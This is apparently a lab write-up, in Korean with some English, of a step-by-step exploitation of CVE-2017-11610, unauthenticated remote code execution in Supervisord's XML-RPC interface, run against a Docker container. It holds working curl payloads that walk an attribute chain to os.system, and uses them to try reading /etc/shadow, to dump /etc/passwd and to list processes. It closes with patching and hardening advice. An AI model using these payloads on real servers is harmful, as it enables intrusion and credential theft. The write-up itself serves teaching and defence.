dungsocool/cve-2017-11610CVE-2017-11610(Supervisord XML-RPC RCE)에 대한 단계별 익스플로잇 라이트업으로, 공격 표면 분석, 네임스페이스 트래버설 발견, Docker 랩 환경에서의 사후 익스플로잇 기법을 다룹니다.
환경에서 실행 중인 것부터 시작합니다. 모든 활성 컨테이너를 나열합니다:``` docker ps-a
**피해자는 단일 포트를 노출합니다: `9001`**.
포트 9001은 표준 웹 앱이 아닙니다. **포트 데이터베이스**를 조회해 보면 이 포트가 **Supervisord**(IANA에 따르면 ETL Service Manager), Tor 프록시 또는 기타 내부 서비스와 연관될 수 있음을 알 수 있습니다. 그러나 포트 번호만으로 결론을 내릴 수는 없습니다.
⇒ 응답을 읽기 위해 curl로 직접 요청하고, 추가 정보를 수집하기 위해 웹 GUI에도 접속합니다.```
curl -i http://192.168.3.137:9001/
응답 분석:
Server: Medusa/1.12와 제목 Supervisor Status가 표시됩니다.→ 이는 Tor나 다른 서비스가 아니라 Supervisord임을 확인합니다.
REFRESH, RESTART ALL, STOP ALLSupervisord는 Linux의 프로세스 관리자입니다. port 9001이 비밀번호 없이 네트워크에 노출되어 있다면 이는 위험한 구성입니다. 공격자는 서비스를 확인하고 프로세스를 재시작/중지할 수 있으며, 특정 구성에서는 관리 대상 프로그램을 수정하거나 제어할 권한이 있는 경우 명령 실행을 위해 이를 악용할 수 있습니다.
분석 결론: 대상이 Supervisord 관리 인터페이스를 포트 9001에서 네트워크에 노출하고 있음을 확인할 수 있습니다. 이는 표준 웹 서비스가 아니라 프로세스를 모니터링하고 제어하는 데 사용되는 관리 인터페이스입니다. 이 인터페이스에 접근할 수 있는 능력은 인증 없이도 공격자가 관리 대상 서비스의 상태를 확인하거나 상호작용할 수 있는 위험을 만듭니다.
그러나 표시되는 UI와 그 이면의 제어 메커니즘을 구분해야 합니다. REFRESH, RESTART ALL, STOP ALL 같은 버튼은 프론트엔드에서 요청을 독립적으로 처리하지 않으며, 대신 Supervisord의 인터페이스/백엔드를 호출하여 상태를 검색하거나 프로세스 제어 명령을 전송해야 합니다. 따라서 웹 UI가 노출된 것을 확인한 후, 다음 분석 단계는 웹 UI 뒤에 기본 제어 인터페이스가 존재하는지와 인증이 필요한지를 결정하는 것입니다.
⇒ 생각: 웹 UI 뒤의 제어 인터페이스가 존재하는지, 그리고 인증이 필요한지 확인해야 합니다.
Supervisor의 문서에 따르면 [inet_http_server]는 TCP 소켓에서 수신 대기하는 HTTP 서버입니다. 이 인터페이스는 기본적으로 활성화되지 않으며, 신뢰할 수 있는 환경에서만 사용해야 하고, 암호화를 지원하지 않으며, username/password가 구성되지 않는 한 기본 인증이 없습니다.
문서는 또한 [inet_http_server]의 포트가 HTTP/XML-RPC 요청을 수신하는 데 사용된다고 설명합니다. supervisorctl은 이 포트를 통해 XML-RPC를 사용하여 supervisord와 통신합니다. 이는 실습 환경에서의 관찰 결과와 일치합니다. 컨테이너가 0.0.0.0:9001->9001/tcp를 노출하고 있고, 웹 UI에 인증 없이 접근할 수 있으며, 표시된 버전이 Supervisor 3.3.2입니다.
따라서 포트 9001의 웹 UI를 확인한 후 다음 단계는 XML-RPC 엔드포인트 /RPC2를 검사하는 것입니다. Supervisord의 공식 메커니즘에 따라 다음 목표를 검증해야 합니다:
/RPC2가 존재하는지 여부.supervisor.getState 또는 system.listMethods 같은 비파괴적 메서드를 호출할 수 있는지 여부.엔드포인트가 살아 있는지 확인합니다:```
curl -i -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.getState'
http://192.168.3.137:9001/RPC2
결과는 `401 Unauthorized`나 `403 Forbidden`이 아닌 `HTTP/1.1 200 OK`를 반환하며, 이는 요청이 자격 증명 없이 서버에서 수락되었음을 보여줍니다. 응답은 XML-RPC `<methodResponse>` 형식이며 `statename=RUNNING` 및 `statecode=1`을 포함하므로 `/RPC2` 엔드포인트가 활성 상태이고 `supervisor.getState` 메서드가 성공적으로 실행되었음을 입증합니다.
**⇒ 생각:** 공격 표면은 더 이상 Web UI로 제한되지 않고, 데몬/프로세스 제어 명령이 처리되는 XML-RPC API로 확장되었습니다. 여기서 다음 분석 방향은 **XML-RPC**에서 `methodName`을 **Supervisor가 어떻게 처리하는지 확인**하여, 현재 대상이 이 메서드의 디스패치/조회 메커니즘에 내재된 **CVE-2017-11610의 동작을 보이는지** 판단하는 것입니다. 이것이 **CVE-2017-11610**인지 결론을 내리려면 이를 검증해야 합니다.
### **XML-RPC에서 메서드 이름 처리 분석**
이전 단계에서 우리는 `/RPC2` 엔드포인트를 통해 `supervisor.getState` 메서드를 성공적으로 호출했습니다. 이는 다음 질문을 제기합니다: 문자열 기반의 `methodName`을 수신할 때, Supervisord는 그 문자열을 내부 Python 함수에 어떻게 매핑할까요?
XML-RPC에서 메서드는 일반적으로 네임스페이스를 활용합니다. 예를 들어:
- `supervisor.getState`
- `supervisor.stopProcess`
- `supervisor.getAllProcessInfo`
논리적으로, 서버는 `methodName` 문자열을 받아 마침표 `.`로 분할하고, 등록된 핸들러 내에서 해당 객체/함수를 검색합니다.
의사 코드는 다음과 같이 이해할 수 있습니다:
``````python
# Pseudo-code simulating the dispatch method concept in XML-RPC
def dispatch(method_name, params):
parts = method_name.split(".") # ["supervisor", "getState"]
obj = registered_handlers[parts[0]] # get namespace "supervisor"
for attr in parts[1:]:
obj = getattr(obj, attr) # lookup the next attribute
return obj(*params) # call the final function
For standard methods like supervisor.getState, this mechanism functions normally: the server retrieves the supervisor handler, then calls the getState function. However, the core issue of CVE-2017-11610 is that this lookup mechanism does not sufficiently restrict the attributes allowed to be accessed. If an attacker controls the methodName, they can not only call public methods like getState, but also traverse deeper into the internal objects/modules reachable from the supervisor handler.
In other words, the dot . in methodName is not just used to invoke valid methods, but can be abused to traverse object attributes.
This establishes our exploitation path:
supervisor → supervisord → options → warnings → linecache → os → system
The core idea is to start from the supervisor handler, follow attributes to the daemon's internal objects, and then leverage pre-imported Python modules to reach os.system. If os.system can be called, the attacker can execute system commands with the privileges of the supervisord process.
Thus, the attack chain follows this logic:
/RPC2 accepts unauthenticated method calls → inspect how XML-RPC dispatches methodName → discover methodName can traverse object attributes → leads to calling os.system.
첫 번째로, 서버가 실제로 내부 속성 탐색을 허용하는지 확인해야 합니다. 평소보다 더 긴 method name을 호출해 보겠습니다. 서버가 "method not found" 오류를 반환하면 필터가 활성화된 것이고, 다른 오류를 반환하거나(성공하거나) 하면 순회가 동작하는 것입니다.
생각: supervisor.getState가 동작한다는 것은 이미 알고 있습니다. 한 단계 더 깊이 들어가는 supervisor.supervisord를 시도했을 때 서버가 unknown method 오류를 반환하지 않는다면, 실제로 화이트리스트 없이 재귀적 getattr을 사용하고 있다는 뜻입니다.
We know XML-RPC is a remote procedure call protocol over HTTP, with data encoded in XML. Each request consists of only 3 fixed components:```
FUNCTION_NAME VALUE ``` 간단한 구조입니다 — ``과 ``만 교체하면 됩니다. 함수에 매개변수가 필요하지 않으면 ``를 비워 두세요. 함수에 문자열이 필요하면 `...` 안에 감싸면 됩니다. 이것은 비밀 지식이 아닙니다 — XML-RPC RFC를 읽으면 이 내용이 자세히 설명되어 있습니다.⇒ 응용: 평소보다 더 긴 methodName을 호출하여 네임스페이스 순회를 확인해 보세요:```
curl -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.supervisord.options'
http://192.168.3.137:9001/RPC2
결과는 표준 `unknown method` 오류 대신 `HTTP 500 Internal Server Error`를 반환합니다. 이는 서버가 유효한 네임스페이스 수준에서 `methodName`을 차단하지 않고, 디스패칭 중에 계속해서 `supervisor.supervisord.options` 체인을 처리했음을 나타냅니다. 즉, 요청이 속성 조회 메커니즘 깊숙이 침투했으며, 오류는 확인된 객체가 메서드로 호출 가능하지 않았을 때 이후 단계에서 발생했습니다. 이는 `methodName`을 통한 네임스페이스 탐색이 활성화되어 있다는 명확한 신호입니다.
### **명령 실행 함수로 가는 경로 찾기**
탐색은 작동하고 있습니다. 다음 단계는 **시스템 명령을 실행할 수 있는 호출 가능 함수로 끝나는 속성 체인을 찾는** 것입니다. Python에서 확인하기 가장 쉬운 대상은 `os.system()`입니다. 그러나 대상에는 **셸이 없고** 컨테이너의 **소스/런타임 객체를 직접 읽을 수 없습니다.** 따라서 **Python의 import 메커니즘에서 추론**하고 **로컬에서 먼저 의존성을 검증**해야 합니다.
확인할 체인은 다음과 같습니다:
`supervisor` → `supervisord` → `options` → `warnings` → `linecache` → `os` → `system`
- Supervisord는 Python으로 작성되었으므로 `options`와 같은 내부 객체는 속성을 가진 Python 객체입니다.
- 모듈이 `import X`를 통해 다른 모듈을 가져오면 `X`는 해당 모듈의 네임스페이스에 존재하게 됩니다.
- Python 표준 라이브러리에서 `warnings` 모듈은 경고를 표시할 때 컨텍스트를 얻기 위해 `linecache`를 import합니다.
- `linecache` 모듈은 경로/파일 조작을 위해 `os`를 import합니다.
- `os` 모듈은 셸 명령을 실행할 수 있는 호출 가능한 `system()` 함수를 제공합니다.
대상에서 시도하기 전에 이 의존성을 로컬에서 확인하십시오:```bash
python3 -c "import warnings; print('linecache' in dir(warnings))"
# True
python3 -c "import linecache; print('os' in dir(linecache))"
# True
python3 -c "import os; print(callable(os.system))"
# True
⇒ 생각: warnings → linecache → os 의존성 체인은 CPython 표준 라이브러리의 실제 의존성입니다. 그리고 system은 실제로 os 모듈에서 호출 가능한 함수입니다. XML-RPC의 네임스페이스 탐색 결함과 결합하면, supervisor 핸들러에서 supervisord.options.warnings에 도달할 수 있다면 우리는 계속해서 linecache.os.system으로 탐색하여 시스템 명령을 호출할 수 있습니다.
os.system에 대한 탐색 체인을 확인한 후, 다음 단계는 이 함수를 호출하기 위한 XML-RPC 요청을 구축하는 것입니다. Python에서 os.system()은 실행할 셸 명령을 나타내는 하나의 문자열 매개변수를 받아 명령의 종료 코드를 반환합니다. 이 함수는 XML-RPC 응답에 표준 출력을 직접 반환하지 않으므로, 명령이 실행되었음을 증명하려면 출력을 파일로 리디렉션해야 합니다.
⇒ 생각: 응답에 직접 출력이 없으므로 결과를 /tmp에 기록하세요. /tmp 디렉터리는 Linux에서 일반적으로 모든 사용자가 쓸 수 있습니다. 안전한 검증 페이로드는 다음과 같습니다:
id > /tmp/rce_proof.txt
위에서 분석한 XML-RPC 템플릿을 적용하여, <methodName>을 os.system으로 가는 탐색 체인으로 교체하고 셸 명령을 <string> 안에 전달합니다:```bash
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemid > /tmp/rce_proof.txt' http://192.168.3.137:9001/RPC2
`<int>0</int>` 값은 `os.system()`의 종료 코드이지 명령의 표준 출력이 아닙니다. 종료 코드 `0`은 셸 명령이 성공적으로 실행되었음을 나타냅니다. 컨테이너 내부의 파일을 읽어 이를 확인합니다:```
docker exec project1-lab03-1 cat /tmp/rce_proof.txt
⇒ RCE 확인됨. id 명령이 컨테이너 내부에서 nobody 사용자(uid=65534)의 권한으로 실행되었습니다.
핵심 포인트: RCE가 달성되었지만, 실행 권한은 supervisord 프로세스를 실행 중인 사용자에 따라 달라집니다. 이 랩에서는 명령이 nobody 사용자로 실행되므로, supervisord가 root로 실행되는 경우보다 영향 범위가 더 제한적입니다.
RCE를 확인한 후, nobody는 Linux에서 낮은 권한의 사용자임을 알 수 있습니다. 그러나 id 출력만에 의존하지 말고 실제로 이를 검증해야 합니다. 검증 방법은 /etc/shadow 읽기를 시도하는 것입니다. 이 파일은 일반적으로 root와 shadow 그룹만 읽을 수 있기 때문입니다. 읽을 수 있다면 프로세스에 높은 권한이 있는 것이고, 차단된다면 권한이 실제로 제한된 것입니다.
/etc/shadow를 읽고 stdout/stderr를 파일로 리다이렉션하는 페이로드를 전송합니다:```bash
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/shadow > /tmp/shadow_test.txt 2>&1' http://192.168.3.137:9001/RPC2
응답은 `<int>256</int>`을 반환하며, 이는 `os.system()`의 반환 값입니다. Unix에서 종료 상태는 인코딩되며, `256`은 셸 명령의 종료 코드 `1`에 해당합니다. 이는 명령이 실행되었지만 실패했음을 나타냅니다.
컨테이너 내부의 출력 파일을 읽고 `/etc/shadow` 권한을 확인하여 실패 원인을 확인합니다:```
docker exec project1-lab03-1 cat /tmp/shadow_test.txt
docker exec project1-lab03-1 ls -l /etc/shadow
결과는 출력 파일에 다음 오류가 기록되었음을 보여줍니다:
cat: /etc/shadow: Permission denied
/etc/shadow에 대한 권한은 다음과 같습니다:
rw-r----- 1 root shadow 501 Apr 14 2020 /etc/shadow/etc/shadow 파일의 소유자는 root이고, 그룹은 shadow이며, 소유자/그룹만 읽을 수 있습니다. 한편, 앞서 확인한 RCE를 통해 명령이 nobody 사용자로 실행된다는 것이 확인되었습니다. 이 사용자는 shadow 그룹에 속하지 않으므로 이 파일을 읽을 수 없습니다.
⇒ 결론: RCE가 달성되었지만, 권한은 실제로 nobody 사용자로 제한됩니다. 이는 root로 실행되는 서비스와 중요한 차이점입니다. 공격자는 명령을 실행할 수 있지만 시스템에 대한 완전한 통제권을 자동으로 얻지는 못합니다.
/etc/shadow를 읽을 수는 없지만, RCE를 통해 nobody 권한으로 계속 명령을 실행할 수 있습니다. 따라서 이 사용자가 읽을 수 있는 정보, 예를 들어 실행 중인 프로세스 목록과 시스템의 사용자 정보를 계속 수집할 수 있습니다.
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemps aux > /tmp/ps_output.txt 2>&1' http://192.168.3.137:9001/RPC2
```
docker exec project1-lab03-1 cat /tmp/ps_output.txt
컨테이너의 PID 1은 root 사용자로 실행되지만, supervisord 프로세스는 nobody 사용자로 실행됩니다. 이는 RCE가 성공했지만 root로 제한된 파일을 읽을 권한이 없었던 이유를 설명합니다.
결과: ps aux를 보면 컨테이너의 PID 1이 root 사용자로 실행되는 /bin/bash /usr/local/bin/docker-entrypoint.sh이고, supervisord 프로세스는 nobody 사용자로 실행되는 것을 확인할 수 있습니다.
이것은 RCE가 성공했지만 root 전용 파일을 읽을 권한이 없었던 이유를 설명합니다: 명령은 PID 1이 아닌 supervisord 프로세스의 권한으로 실행됩니다.
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/passwd > /tmp/passwd_dump.txt 2>&1' http://192.168.3.137:9001/RPC2
```
docker exec project1-lab03-1 cat /tmp/passwd_dump.txt
결과: /etc/passwd를 보면 시스템에는 주로 root, daemon, nobody, _apt 같은 기본 사용자만 존재하며, 추가적인 서비스 사용자는 감지되지 않았습니다. 이는 컨테이너 환경이 최소 구성임을 나타내며, 현재 단계에서 악용하거나 피벗할 수 있는 다른 애플리케이션 계정이 없음을 의미합니다.
이 랩에서는 리버스 셸을 설정할 수 없었습니다. 그러나 Docker 브리지 네트워크가 항상 리버스 셸을 차단한다고 단순히 결론 내려서는 안 됩니다. Docker 컨테이너는 일반적으로 NAT를 통해 아웃바운드 연결이 가능하기 때문입니다. 원인은 라우팅, 방화벽, 리스너, 인터페이스 또는 랩 환경의 네트워크 구성에서 비롯되었을 수 있습니다.
핵심은 리버스 셸의 실패가 주요 결론을 바꾸지 않는다는 것입니다. id 페이로드, 응답 종료 코드 0, /tmp의 출력 파일을 통해 RCE가 확인되었습니다. 공격자는 컨테이너 내부에서 nobody 사용자의 권한으로 임의의 명령을 실행할 수 있습니다.
긴급 우선순위
Supervisord를 패치된 버전으로 업그레이드하세요
Supervisor를 버전 >= 3.3.3으로 업그레이드하세요. 패치된 버전은 CVE-2017-11610의 근본 원인이었던 XML-RPC의 재귀적 네임스페이스 조회 메커니즘을 완전히 제거합니다.
필요하지 않으면 [inet_http_server]를 네트워크에 노출하지 마세요
웹 UI나 원격 관리가 필요하지 않다면 [inet_http_server]를 완전히 비활성화하세요. 이는 관리 인터페이스이므로 네트워크 전체에 광범위하게 접근 가능하게 해서는 안 됩니다.
바인딩 주소 제한
여전히 웹 UI를 활성화해야 한다면 0.0.0.0 대신 localhost에만 바인딩하세요:
[inet_http_server]
port=127.0.0.1:9001
높은 우선순위
[inet_http_server]에 인증 활성화
원격 관리를 위해 이 인터페이스를 노출해야 한다면 강력한 사용자 이름/비밀번호를 구성하세요:
[inet_http_server] port=127.0.0.1:9001 username=admin password=<strong_password>
네트워크에 바인딩해야 한다면 비밀번호에만 의존하지 말고 VPN/리버스 프록시 뒤에 두거나 IP로 접근을 제한하세요.
방화벽을 사용하여 접근 제한
예를 들어 방화벽/보안 그룹을 통해 관리 IP만 포트 9001에 접근할 수 있게 허용하세요. 이 포트를 공개 인터넷이나 전체 내부 네트워크에 노출하지 마세요.
supervisord를 낮은 권한의 사용자로 실행
이 랩은 nobody 사용자로 실행되어 영향을 제한했습니다. 실제 환경에서는 꼭 필요한 경우가 아니라면 supervisord를 root로 실행하지 마세요.
| 기준 | 평가 | 세부 사항 |
|---|
| CVSS 점수 | 9.8 (치명적) | CVE/NVD 기준으로 이 취약점은 Supervisor <= 3.3.2에서 인증되지 않은 RCE입니다. |
| 인증 | 필요 없음 | /RPC2 엔드포인트는 사용자 이름/비밀번호 없이 XML-RPC 요청을 처리합니다. |
| 복잡도 | 낮음 | Metasploit 없이 수동 XML-RPC 요청으로 악용 가능 |
| 획득 권한 | nobody | RCE는 supervisord 프로세스의 권한으로 실행되며, 이 랩에서는 nobody 사용자로 제한됩니다. |
| 영향 | 높음 | 명령 실행, /tmp와 같은 쓰기 가능 디렉터리에 파일 작성, 시스템 정보 수집 가능 |
| 제한 사항 | 루트 전용 파일 읽기 불가 | /etc/shadow에서 Permission Denied가 반환되어 권한이 루트가 아님을 증명합니다. |
| 내부 네트워크 피벗 | 가능 | 네트워크 정책이 허용한다면 nobody 사용자도 다른 서비스/컨테이너에 연결을 시도할 수 있습니다. |